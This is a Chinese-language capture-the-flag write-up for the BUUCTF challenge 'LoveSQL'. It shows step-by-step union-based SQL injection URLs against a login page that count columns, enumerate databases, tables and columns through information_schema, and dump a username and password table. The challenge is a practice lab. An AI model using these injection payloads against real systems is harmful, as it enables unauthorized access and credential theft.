BUUCTF:[极客大挑战 2019]LoveSQL

题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]LoveSQL

在这里插入图片描述
在这里插入图片描述
万能密码登陆成功了,确定存在注入点

order by判断字段数量

/check.php?username=mochu7'order by 3%23&password=admin

在这里插入图片描述
在这里插入图片描述
确定字段数量为3,查看回显点

/check.php?username=mochu7'union select 1,2,3%23&password=admin

在这里插入图片描述
查询当前数据库和所有数据库

/check.php?username=mochu7'union select 1,database(),group_concat(schema_name) from information_schema.schemata%23&password=admin

在这里插入图片描述

information_schema
mysql
performance_schema
test
geek

查询geek数据库中的表

/check.php?username=mochu7'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=admin

在这里插入图片描述

geekuser
l0ve1ysq1

查询geek.l0ve1ysq1表下的字段名

/check.php?username=mochu7'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=admin

在这里插入图片描述

id
username
password

查询字段所有内容

/check.php?username=mochu7'union select 1,2,group_concat(id,'---',username,'---',password) from geek.l0ve1ysq1%23&password=admin

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mochu7777777/article/details/109151946